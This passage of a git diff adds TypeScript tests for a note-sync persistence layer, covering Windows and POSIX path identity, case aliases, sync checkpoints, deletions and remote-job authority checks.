+ expect(await engine.executeRaw('SELECT * FROM persistence_requests WHERE id=$1', [before.requests[0].id])).toEqual(before.requests);
+ } finally { engine.executeRaw = execute; engine.transaction = transaction; }
+});
+
+check('cancelled waits retain the accepted pending receipt and resume it after owner lock release', async engine => {
+ const f = await fixture(engine), abort = new AbortController(), transaction = engine.transaction;
+ const lock = await acquireWorktree((await getWorktreeBinding(engine, f.id))!);
+ expect(lock).not.toBeNull();
+ engine.transaction = async function (this: BrainEngine, run: (tx: BrainEngine) => Promise<unknown>) {
+ const value = await transaction.call(this, run);
+ if (value && typeof value === 'object' && 'request_id' in value && 'source_id' in value && value.source_id === f.id) abort.abort();
+ return value;
+ } as BrainEngine['transaction'];
+ let requestId: string, runId: string;
+ try {
+ const pending = await performSync(engine, { ...f.opts, signal: abort.signal });
+ expect(abort.signal.aborted).toBe(true);
+ expect(pending).toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0,
+ managedWrite: { write_error: 'write_pending' } });
+ expect(['queued', 'running', 'recovering']).toContain(pending.managedWrite!.write_request.state);
+ requestId = pending.managedWrite!.write_request.request_id; runId = pending.runId!;
+ await disposePersistenceConsumer(engine);
+ const frozen = await cursor(engine, f.id), state = await syncState(engine, f.id);
+ expect(frozen.value.pending.requestId).toBe(requestId);
+ expect(state.requests).toHaveLength(1);
+ expect(state.pages).toEqual([]); expect(state.effects).toEqual([]);
+ expect(state.source).toEqual([{ last_commit: null, last_sync_at: null }]);
+ } finally { engine.transaction = transaction; await disposePersistenceConsumer(engine); await lock?.release(); }
+ expect(await performSync(engine, f.opts)).toMatchObject({ status: 'first_sync', runId: runId!, added: 1 });
+ expect(await engine.executeRaw("SELECT request_id,state FROM persistence_requests WHERE source_id=$1 AND intent->>'kind'='managed_sync_import'", [f.id]))
+ .toEqual([{ request_id: requestId!, state: 'committed' }]);
+});
diff --git a/test/persistence-sync-origin-native.serial.test.ts b/test/persistence-sync-origin-native.serial.test.ts
new file mode 100644
index 0000000000..87031d7bc8
--- /dev/null
+++ b/test/persistence-sync-origin-native.serial.test.ts
@@ -0,0 +1,432 @@
+import { afterAll, beforeAll, expect, test } from 'bun:test';
+import { randomUUID } from 'node:crypto';
+import { execFileSync } from 'node:child_process';
+import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync, unlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, relative, resolve, sep } from 'node:path';
+import type { BrainEngine } from '../src/core/engine.ts';
+import type { SyncOpts } from '../src/commands/sync.ts';
+import type { OperationContext } from '../src/core/ops/contract.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { importFromContent } from '../src/core/import-file.ts';
+import { resolveSlugForPath } from '../src/core/sync.ts';
+import { claimWorktree, getWorktreeBinding } from '../src/core/persistence/ownership.ts';
+import { performManagedSync } from '../src/core/persistence/sync-run.ts';
+import { prepareManagedSyncMutation, type SyncIntent } from '../src/core/persistence/sync-prepare.ts';
+import { assertDistinctSyncOrigins, syncOriginPath } from '../src/core/persistence/sync-origin.ts';
+import { assertConfiguredSyncRoot, resolveManagedSyncContext } from '../src/core/persistence/sync-discovery.ts';
+import { admitWrite, claimNextWrite, getWriteRequest } from '../src/core/persistence/journal.ts';
+import { localHostId } from '../src/core/persistence/identity.ts';
+import { publishMutation } from '../src/core/persistence/coordinator.ts';
+import { withCoordinatedWrite } from '../src/core/persistence/context.ts';
+import { computeSyncDelta } from '../src/core/sync-delta.ts';
+import { sha256 } from '../src/core/persistence/digest.ts';
+import { disposePersistenceConsumer } from '../src/core/persistence/service.ts';
+import { prepareRemoteJob, withSubmissionAuthority } from '../src/core/minions/submission-authority.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+import { interruptAfterSyncDiscovery } from './helpers/persistence-sync-interruption.ts';
+import { makeGitFixture } from './helpers/git-fixture.ts';
+import { withEnv } from './helpers/with-env.ts';
+
+const home = mkdtempSync(join(tmpdir(), 'gbrain-sync-origin-native-'));
+const stores: Array<{ engine: BrainEngine; close: () => Promise<void> }> = [];
+const content = '---\ntitle: Example note\ntype: note\n---\nA stable synthetic observation.\n';
+const options = { noPull: true, noEmbed: true, noExtract: true, noSchemaPack: true, full: true };
+beforeAll(async () => {
+ const engine = new PGLiteEngine(); await engine.connect({}); await engine.initSchema();
+ stores.push({ engine, close: () => engine.disconnect() });
+ if (process.env.DATABASE_URL) stores.push(await isolatedPersistencePostgres(process.env.DATABASE_URL));
+ console.info(`NATIVE_SYNC_ORIGIN_PLATFORM=${process.platform}`);
+}, 120_000);
+afterAll(async () => {
+ for (const store of stores) { await disposePersistenceConsumer(store.engine); await store.close(); }
+ rmSync(home, { recursive: true, force: true });
+});
+const check = (name: string, run: (engine: BrainEngine) => Promise<void>) => test(name, () => withEnv({ GBRAIN_HOME: home, GBRAIN_SYNC_FAILURES_DIR: home }, async () => {
+ for (const { engine } of stores) await run(engine);
+}), 120_000);
+
+async function fixture(engine: BrainEngine, sourcePath = 'notes/example.md', slug = 'notes/example', files: Record<string, string> = { 'notes/example.md': content }) {
+ await disposePersistenceConsumer(engine);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=false WHERE singleton=1');
+ const id = `origin-${randomUUID().slice(0, 12)}`, root = join(home, id); mkdirSync(root);
+ const git = await makeGitFixture(root);
+ for (const [path, bytes] of Object.entries(files)) { const full = join(root, path); mkdirSync(join(full, '..'), { recursive: true }); writeFileSync(full, bytes); }
+ git.commitAll('Add synthetic origin fixture');
+ const head = execFileSync('git', ['-C', root, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim();
+ await engine.executeRaw('INSERT INTO sources(id,name,local_path) VALUES($1,$1,$2)', [id, root]);
+ await importFromContent(engine, slug, content, { sourceId: id, sourcePath, noEmbed: true });
+ const snapshot = (await engine.readPageSnapshot(slug, { sourceId: id }))!;
+ expect(snapshot).not.toBeNull();
+ await claimWorktree(engine, id, root);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ return { id, root, head, slug, snapshot, opts: { ...options, sourceId: id, repoPath: root } };
+}
+
+async function legacyDeletion(engine: BrainEngine, f: Awaited<ReturnType<typeof fixture>>, admitted: boolean) {
+ expect((await interruptAfterSyncDiscovery(engine, f.opts)).status).toBe('partial');
+ const [stored] = await engine.executeRaw<{ fingerprint: string; completed_keys: any[] }>(
+ "SELECT fingerprint,completed_keys FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [f.id]);
+ const cursor = stored.completed_keys[0];
+ const entry = { path: 'notes/example.md', sourcePath: f.snapshot.page.source_path!, action: 'delete', working: false,
+ slug: f.slug, pageId: f.snapshot.page.id, revision: f.snapshot.revision };
+ const intent: SyncIntent = { kind: 'managed_sync_delete', expected_revision: f.snapshot.revision,
+ sourcePath: entry.sourcePath, path: entry.path, rawHash: sha256(content), content: null,
+ ownerEpoch: String(cursor.binding.owner_epoch), syncAuthority: cursor.authority, cursorKey: stored.fingerprint,
+ runId: cursor.runId, index: 0, total: 1, from: cursor.from, target: cursor.target, slugMode: cursor.slugMode };
+ const requestId = randomUUID();
+ const next = { ...cursor, total: 1, ...(admitted ? { pending: { requestId, slug: f.slug, pageId: f.snapshot.page.id, intent } } : {}) };
+ await engine.executeRaw("UPDATE op_checkpoints SET completed_keys=$2::text::jsonb WHERE op='managed-sync-manifest' AND fingerprint=$1", [cursor.runId, JSON.stringify([entry])]);
+ await engine.executeRaw("UPDATE op_checkpoints SET completed_keys=$2::text::jsonb WHERE op='managed-sync' AND fingerprint=$1", [stored.fingerprint, JSON.stringify([next])]);
+ if (admitted) await admitWrite(engine, { requestId, operation: 'submit_job', sourceId: f.id,
+ sourceIncarnation: cursor.incarnation, slug: f.slug, pageId: f.snapshot.page.id, worktreeId: cursor.binding.worktree_id,
+ topologyGeneration: cursor.binding.topology_generation, principal: cursor.authority.writer.principal,
+ authority: cursor.authority.writer, callerIntent: intent, intent });
+ return { requestId, intent, cursor, entry };
+}
+
+test('origin comparison is Windows-specific and never case-folds POSIX identity', () => {
+ expect(syncOriginPath('notes\\example.md', 'win32')).toBe('notes/example.md');
+ expect(syncOriginPath('notes\\example.md', 'linux')).toBe('notes\\example.md');
+ expect(syncOriginPath('Notes/example.md', 'win32')).not.toBe(syncOriginPath('notes/example.md', 'win32'));
+ expect(() => assertDistinctSyncOrigins(['Notes/example.md', 'notes/example.md'], 'win32')).toThrow();
+ expect(() => assertDistinctSyncOrigins(['Notes/example.md', 'notes/example.md', 'notes\\example.md'], 'linux')).not.toThrow();
+ for (const path of ['../escape.md', 'notes/../escape.md', '/absolute.md', 'notes//example.md']) expect(() => syncOriginPath(path)).toThrow();
+ expect(() => syncOriginPath('C:\\escape.md', 'win32')).toThrow();
+ for (const path of ['notes./example.md', 'notes /example.md', 'notes/example.md:alias', 'NUL.md']) {
+ expect(() => syncOriginPath(path, 'win32')).toThrow();
+ expect(syncOriginPath(path, 'linux')).toBe(path);
+ }
+});
+
+test('configured sync roots still refuse unrelated directories and replaced registered roots', () => {
+ const root = realpathSync(mkdtempSync(join(home, 'configured-root-')));
+ const other = realpathSync(mkdtempSync(join(home, 'other-root-')));
+ expect(() => assertConfiguredSyncRoot(root, other)).toThrow('configured source directory');
+ expect(() => assertConfiguredSyncRoot(root, join(home, 'missing'))).toThrow('configured source directory');
+ rmSync(root, { recursive: true });
+ symlinkSync(other, root, 'junction');
+ expect(() => assertConfiguredSyncRoot(root, root)).toThrow('configured source directory');
+ expect(() => assertConfiguredSyncRoot(root, other)).toThrow('configured source directory');
+});
+
+check('native root spellings retain the registered owner and resume the same sync cursor', async engine => {
+ for (const legacy of [false, true]) {
+ const f = await fixture(engine);
+ if (legacy) {
+ const binding = (await getWorktreeBinding(engine, f.id))!;
+ await engine.transaction(async tx => {
+ await tx.executeRaw("SELECT set_config('gbrain.topology_change','on',true)");
+ await tx.executeRaw('UPDATE persistence_source_bindings SET relative_path=$2 WHERE source_id=$1',
+ [f.id, relative(binding.local_path!, realpathSync(f.root)).split(sep).join('/')]);
+ });
+ }
+ const binding = (await getWorktreeBinding(engine, f.id))!;
+ const context = await resolveManagedSyncContext(engine, f.opts);
+ const nativeRoot = realpathSync.native(f.root);
+ expect(context.root).toBe(resolve(binding.local_path!, binding.relative_path));
+ expect(realpathSync.native(context.root)).toBe(nativeRoot);
+ console.info(`Native sync root fixture: platform=${process.platform} legacy=${legacy} distinct=${realpathSync(f.root) !== binding.local_path}`);
+ if (process.platform === 'win32' && process.env.GBRAIN_TEST_REQUIRE_CASE_INSENSITIVE === '1') {
+ expect(realpathSync(f.root)).not.toBe(binding.local_path);
+ }
+ expect(await resolveManagedSyncContext(engine, { ...f.opts, repoPath: nativeRoot })).toEqual(context);
+ expect((await interruptAfterSyncDiscovery(engine, f.opts)).status).toBe('partial');
+ const before = await engine.executeRaw<{ fingerprint: string; completed_keys: Array<Record<string, unknown>> }>(
+ "SELECT fingerprint,completed_keys FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [f.id]);
+ expect(before).toHaveLength(1);
+ expect(await performManagedSync(engine, { ...f.opts, repoPath: nativeRoot, dryRun: true })).toMatchObject({ status: 'dry_run' });
+ expect(await engine.executeRaw(
+ "SELECT fingerprint,completed_keys FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [f.id])).toEqual(before);
+ expect(await performManagedSync(engine, f.opts)).toMatchObject({ status: 'first_sync', added: 0, deleted: 0 });
+ const after = await engine.executeRaw<{ fingerprint: string; completed_keys: Array<Record<string, unknown>> }>(
+ "SELECT fingerprint,completed_keys FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [f.id]);
+ expect(after).toHaveLength(1);
+ expect(after[0].fingerprint).toBe(before[0].fingerprint);
+ for (const key of ['root', 'gitRoot', 'binding', 'authority', 'runId']) {
+ expect(after[0].completed_keys[0][key]).toEqual(before[0].completed_keys[0][key]);
+ }
+ expect(await getWorktreeBinding(engine, f.id)).toEqual(binding);
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ expect(readFileSync(join(f.root, 'notes/example.md'), 'utf8')).toBe(content);
+ }
+});
+
+check('native sync retains the exact accepted remote path and payload hash across root spellings', async engine => {
+ const f = await fixture(engine);
+ const clientId = `fixture-admin-${randomUUID()}`;
+ await engine.executeRaw(`INSERT INTO oauth_clients(client_id,client_name,client_secret_hash,scope,source_id,allowed_operations)
+ VALUES($1,'Fixture admin','test-only','admin',$2,ARRAY['submit_job'])`, [clientId, f.id]);
+ const ctx = { engine, remote: true, sourceId: f.id, auth: { clientId, principal: { kind: 'oauth_client', id: clientId },
+ scopes: ['admin'], sourceId: f.id, allowedOperations: ['submit_job'] } } as OperationContext;
+ const remote = await prepareRemoteJob(ctx, 'sync', { noPull: true });
+ const binding = (await getWorktreeBinding(engine, f.id))!;
+ const accepted = structuredClone(remote);
+ if (process.platform === 'win32' && process.env.GBRAIN_TEST_REQUIRE_CASE_INSENSITIVE === '1') {
+ expect(remote.data.repoPath).not.toBe(binding.local_path);
+ }
+ expect(await withSubmissionAuthority(remote.authority, () => performManagedSync(engine, remote.data as SyncOpts)))
+ .toMatchObject({ status: 'first_sync', added: 0, deleted: 0 });
+ const receipts = await engine.executeRaw<{ intent: { syncAuthority: { remoteData: unknown; remoteJob: unknown } }; state: string }>(
+ 'SELECT intent,state FROM persistence_requests WHERE source_id=$1', [f.id]);
+ expect(receipts.length).toBeGreaterThan(0);
+ for (const receipt of receipts) {
+ expect(receipt.state).toBe('committed');
+ expect(receipt.intent.syncAuthority.remoteData).toEqual(accepted.data);
+ expect(receipt.intent.syncAuthority.remoteJob).toEqual(accepted.authority);
+ }
+ expect(remote).toEqual(accepted);
+ expect(await getWorktreeBinding(engine, f.id)).toEqual(binding);
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ await expect(withSubmissionAuthority(remote.authority, () => performManagedSync(engine,
+ { ...remote.data, repoPath: home } as SyncOpts))).rejects.toMatchObject({ code: 'permission_denied' });
+});
+
+check('native historical separator identity preserves the original page or refuses distinct POSIX origins', async engine => {
+ const f = await fixture(engine, 'notes\\example.md');
+ const history = await engine.getVersions(f.slug, { sourceId: f.id });
+ if (process.platform === 'win32') {
+ expect(await performManagedSync(engine, { ...f.opts, dryRun: true })).toMatchObject({ status: 'dry_run' });
+ expect(await engine.readPageSnapshot(f.slug, { sourceId: f.id })).toEqual(f.snapshot);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ const result = await performManagedSync(engine, f.opts);
+ expect(result).toMatchObject({ status: 'first_sync', added: 0, deleted: 0 });
+ const page = await engine.getPage(f.slug, { sourceId: f.id });
+ expect(page?.id).toBe(f.snapshot.page.id);
+ expect(page?.source_path).toBe('notes/example.md');
+ expect(await engine.executeRaw("SELECT id FROM persistence_requests WHERE source_id=$1 AND intent->>'kind'='managed_sync_delete'", [f.id])).toEqual([]);
+ expect((await engine.executeRaw<{ last_commit: string }>('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBe(f.head);
+ } else {
+ await expect(performManagedSync(engine, { ...f.opts, dryRun: true })).rejects.toMatchObject({ code: 'page_identity_changed' });
+ await expect(performManagedSync(engine, f.opts)).rejects.toMatchObject({ code: 'page_identity_changed' });
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ }
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toEqual(history);
+ expect(readFileSync(join(f.root, 'notes/example.md'), 'utf8')).toBe(content);
+});
+
+check('native Windows historical alias cannot become a delete plus replacement identity', async engine => {
+ if (process.platform !== 'win32') {
+ const literal = 'notes\\example.md', literalSlug = resolveSlugForPath(literal);
+ const f = await fixture(engine, literal, literalSlug, { [literal]: content, 'notes/example.md': content.replace('stable', 'separate') });
+ const history = await engine.getVersions(f.slug, { sourceId: f.id });
+ await expect(performManagedSync(engine, { ...f.opts, dryRun: true })).rejects.toMatchObject({ code: 'page_identity_changed' });
+ await expect(performManagedSync(engine, f.opts)).rejects.toMatchObject({ code: 'page_identity_changed' });
+ expect((await engine.getPage(literalSlug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ expect(await engine.executeRaw('SELECT id FROM pages WHERE source_id=$1', [f.id])).toHaveLength(1);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(readFileSync(join(f.root, literal), 'utf8')).toBe(content);
+ expect(readFileSync(join(f.root, 'notes/example.md'), 'utf8')).toContain('separate');
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toEqual(history);
+ return;
+ }
+ const f = await fixture(engine, 'notes\\example.md', 'legacy-example');
+ const history = await engine.getVersions(f.slug, { sourceId: f.id });
+ expect(await performManagedSync(engine, { ...f.opts, dryRun: true })).toMatchObject({ status: 'dry_run' });
+ expect(await engine.readPageSnapshot(f.slug, { sourceId: f.id })).toEqual(f.snapshot);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ const result = await performManagedSync(engine, f.opts);
+ expect(result).toMatchObject({ status: 'first_sync', added: 0, deleted: 0 });
+ expect((await engine.getPage('legacy-example', { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ expect(await engine.getPage('notes/example', { sourceId: f.id })).toBeNull();
+ expect(await engine.executeRaw('SELECT id FROM pages WHERE source_id=$1', [f.id])).toHaveLength(1);
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toEqual(history);
+});
+
+for (const alias of [false, true]) check(`native historical ${alias ? 'alias' : 'ordinary'} origin survives a real incremental delta and dry-run`, async engine => {
+ const literal = 'notes\\example.md';
+ const files: Record<string, string> = { 'notes/example.md': content, 'notes/untouched.md': 'An unchanged, independently tracked note.\n' };
+ if (process.platform !== 'win32') files[literal] = content;
+ const f = await fixture(engine, literal, alias ? 'legacy-example' : 'notes/example', files);
+ const history = await engine.getVersions(f.slug, { sourceId: f.id });
+ await engine.transaction(tx => withCoordinatedWrite(tx, [f.id], () => tx.executeRaw('UPDATE sources SET last_commit=$2 WHERE id=$1', [f.id, f.head])));
+ const revised = content.replace('title: Example note', 'title: "Example note"');
+ writeFileSync(join(f.root, 'notes/example.md'), revised);
+ execFileSync('git', ['-C', f.root, 'add', 'notes/example.md']);
+ execFileSync('git', ['-C', f.root, 'commit', '-qm', 'Change only equivalent frontmatter spelling']);
+ const target = execFileSync('git', ['-C', f.root, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim();
+ expect(target).not.toBe(f.head);
+ expect(computeSyncDelta(f.root, f.head, target)).toMatchObject({ status: 'ok', manifest: { added: [], modified: ['notes/example.md'], deleted: [], renamed: [] } });
+ const opts = { ...f.opts, full: false };
+ if (process.platform !== 'win32' && !alias) {
+ await expect(performManagedSync(engine, { ...opts, dryRun: true })).rejects.toMatchObject({ code: 'page_identity_changed' });
+ } else {
+ expect(await performManagedSync(engine, { ...opts, dryRun: true })).toMatchObject({ status: 'dry_run', fromCommit: f.head, toCommit: target, filesImported: 0 });
+ }
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await engine.executeRaw('SELECT id FROM persistence_effects WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await engine.executeRaw("SELECT fingerprint FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [f.id])).toEqual([]);
+ expect((await engine.executeRaw('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBe(f.head);
+ expect(await engine.readPageSnapshot(f.slug, { sourceId: f.id })).toEqual(f.snapshot);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toEqual(history);
+ if (process.platform !== 'win32' && !alias) {
+ await expect(performManagedSync(engine, opts)).rejects.toMatchObject({ code: 'page_identity_changed' });
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect((await engine.executeRaw('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBe(f.head);
+ } else {
+ const result = await performManagedSync(engine, opts);
+ expect(result).toMatchObject({ status: 'synced', fromCommit: f.head, toCommit: target, deleted: 0, filesImported: 1 });
+ const requests = await engine.executeRaw<{ intent: SyncIntent; state: string }>('SELECT intent,state FROM persistence_requests WHERE source_id=$1 ORDER BY sequence', [f.id]);
+ expect(requests).toHaveLength(2);
+ expect(requests.every(row => row.state === 'committed')).toBe(true);
+ expect(requests[0].intent).toMatchObject({ kind: 'managed_sync_import', path: 'notes/example.md', from: f.head, target });
+ expect(requests[1].intent.kind).toBe('managed_sync_checkpoint');
+ expect(await engine.getPage('notes/untouched', { sourceId: f.id })).toBeNull();
+ expect((await engine.executeRaw('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBe(target);
+ if (process.platform === 'win32' && alias) expect(await engine.getPage('notes/example', { sourceId: f.id })).toBeNull();
+ }
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toEqual(history);
+ expect(readFileSync(join(f.root, 'notes/example.md'), 'utf8')).toBe(revised);
+ if (process.platform !== 'win32') expect(readFileSync(join(f.root, literal), 'utf8')).toBe(content);
+});
+
+check('a genuine committed Git deletion commits one deletion and the exact checkpoint', async engine => {
+ const f = await fixture(engine);
+ await engine.transaction(tx => withCoordinatedWrite(tx, [f.id], () => tx.executeRaw('UPDATE sources SET last_commit=$2 WHERE id=$1', [f.id, f.head])));
+ const history = await engine.getVersions(f.slug, { sourceId: f.id });
+ unlinkSync(join(f.root, 'notes/example.md'));
+ execFileSync('git', ['-C', f.root, 'add', '-A']);
+ execFileSync('git', ['-C', f.root, 'commit', '-qm', 'Commit the intentional source deletion']);
+ const target = execFileSync('git', ['-C', f.root, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim();
+ expect(computeSyncDelta(f.root, f.head, target)).toMatchObject({ status: 'ok', manifest: { deleted: ['notes/example.md'] } });
+ expect(await performManagedSync(engine, { ...f.opts, full: false, dryRun: true })).toMatchObject({ status: 'dry_run' });
+ expect(await engine.readPageSnapshot(f.slug, { sourceId: f.id })).toEqual(f.snapshot);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toEqual(history);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await performManagedSync(engine, { ...f.opts, full: false })).toMatchObject({ status: 'synced', deleted: 1, filesImported: 1, fromCommit: f.head, toCommit: target });
+ const deleted = (await engine.readPageSnapshot(f.slug, { sourceId: f.id, includeDeleted: true }))!;
+ expect(deleted.page.id).toBe(f.snapshot.page.id);
+ expect(deleted.page.deleted_at).not.toBeNull();
+ expect(deleted.revision).not.toBe(f.snapshot.revision);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toHaveLength(history.length + 1);
+ const requests = await engine.executeRaw<{ intent: SyncIntent; state: string }>('SELECT intent,state FROM persistence_requests WHERE source_id=$1 ORDER BY sequence', [f.id]);
+ expect(requests).toHaveLength(2);
+ expect(requests.every(row => row.state === 'committed')).toBe(true);
+ expect(requests[0].intent).toMatchObject({ kind: 'managed_sync_delete', working: false, target, from: f.head });
+ expect(requests[1].intent.kind).toBe('managed_sync_checkpoint');
+ expect((await engine.executeRaw('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBe(target);
+ expect(await performManagedSync(engine, { ...f.opts, full: false })).toMatchObject({ status: 'up_to_date', deleted: 0 });
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toHaveLength(2);
+ expect(await engine.getVersions(f.slug, { sourceId: f.id })).toHaveLength(history.length + 1);
+});
+
+check('old manifest reuse refuses a present-file deletion before admitting any request', async engine => {
+ const f = await fixture(engine, process.platform === 'win32' ? 'notes\\example.md' : 'notes/example.md');
+ const legacy = await legacyDeletion(engine, f, false);
+ await expect(performManagedSync(engine, f.opts)).rejects.toMatchObject({ code: 'page_identity_changed' });
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ const [manifest] = await engine.executeRaw<{ completed_keys: unknown[] }>("SELECT completed_keys FROM op_checkpoints WHERE op='managed-sync-manifest' AND fingerprint=$1", [legacy.cursor.runId]);
+ expect(manifest.completed_keys).toEqual([legacy.entry]);
+ expect((await engine.executeRaw<{ last_commit: string | null }>('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBeNull();
+ expect((await performManagedSync(engine, { ...f.opts, retryFailed: true })).status).toBe('first_sync');
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+});
+
+check('already-admitted legacy deletion fails under its original ID and only explicit rediscovery advances', async engine => {
+ const f = await fixture(engine, process.platform === 'win32' ? 'notes\\example.md' : 'notes/example.md');
+ const legacy = await legacyDeletion(engine, f, true);
+ const first = await performManagedSync(engine, f.opts);
+ expect(first).toMatchObject({ status: 'blocked_by_failures', managedWrite: { write_request: { request_id: legacy.requestId } } });
+ const row = (await getWriteRequest(engine, legacy.cursor.authority.writer.principal, legacy.requestId))!;
+ expect(row.state).not.toBe('committed');
+ expect(row.error_code).toBe('page_identity_changed');
+ expect(row.intent).toEqual(legacy.intent);
+ expect((await performManagedSync(engine, f.opts)).managedWrite?.write_request).toEqual(first.managedWrite?.write_request);
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+ expect(readFileSync(join(f.root, 'notes/example.md'), 'utf8')).toBe(content);
+ expect((await engine.executeRaw<{ last_commit: string | null }>('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBeNull();
+ expect((await performManagedSync(engine, { ...f.opts, retryFailed: true })).status).toBe('first_sync');
+ expect((await getWriteRequest(engine, legacy.cursor.authority.writer.principal, legacy.requestId))?.state).toBe(row.state);
+ expect((await engine.getPage(f.slug, { sourceId: f.id }))?.id).toBe(f.snapshot.page.id);
+});
+
+check('explicit working-tree deletion remains valid even when the pinned Git target contains the file', async engine => {
+ const f = await fixture(engine);
+ unlinkSync(join(f.root, 'notes/example.md'));
+ const result = await performManagedSync(engine, { ...f.opts, workingTree: true });
+ expect(result).toMatchObject({ status: 'first_sync', deleted: 1 });
+ expect(await engine.getPage(f.slug, { sourceId: f.id })).toBeNull();
+ const [request] = await engine.executeRaw<{ intent: SyncIntent }>("SELECT intent FROM persistence_requests WHERE source_id=$1 AND intent->>'kind'='managed_sync_delete'", [f.id]);
+ expect(request.intent.working).toBe(true);
+});
+
+check('native case aliases refuse rather than merge distinct origins', async engine => {
+ const f = await fixture(engine, 'Notes/example.md', 'notes/example', { 'Notes/example.md': content });
+ const object = execFileSync('git', ['-C', f.root, 'rev-parse', 'HEAD:Notes/example.md'], { encoding: 'utf8' }).trim();
+ execFileSync('git', ['-C', f.root, '-c', 'core.ignorecase=false', 'update-index', '--add', '--cacheinfo', `100644,${object},notes/example.md`]);
+ execFileSync('git', ['-C', f.root, 'commit', '-qm', 'Add case-distinct tree entry']);
+ if (process.platform !== 'win32') {
+ mkdirSync(join(f.root, 'notes'), { recursive: true });
+ writeFileSync(join(f.root, 'notes/example.md'), content);
+ }
+ await expect(performManagedSync(engine, f.opts)).rejects.toMatchObject({ code: 'page_identity_changed' });
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(readFileSync(join(f.root, 'Notes/example.md'), 'utf8')).toBe(content);
+ expect(readFileSync(join(f.root, 'notes/example.md'), 'utf8')).toBe(content);
+});
+
+check('unknown old deletion manifests fail closed without rewriting accepted request identity', async engine => {
+ const f = await fixture(engine);
+ const legacy = await legacyDeletion(engine, f, true);
+ await engine.executeRaw("DELETE FROM op_checkpoints WHERE op='managed-sync-manifest' AND fingerprint=$1", [legacy.cursor.runId]);
+ const row = (await getWriteRequest(engine, legacy.cursor.authority.writer.principal, legacy.requestId))!;
+ await expect(prepareManagedSyncMutation(engine, row, { engine: engine.kind })).rejects.toMatchObject({ code: 'page_identity_changed' });
+ expect((await getWriteRequest(engine, legacy.cursor.authority.writer.principal, legacy.requestId))?.intent).toEqual(legacy.intent);
+ expect((await engine.readPageSnapshot(f.slug, { sourceId: f.id }))?.revision).toBe(f.snapshot.revision);
+ await engine.executeRaw("UPDATE persistence_requests SET state='cancelled' WHERE id=$1::uuid", [row.id]);
+});
+
+check('an admitted deletion cannot infer a missing page origin from its slug', async engine => {
+ const f = await fixture(engine);
+ unlinkSync(join(f.root, 'notes/example.md'));
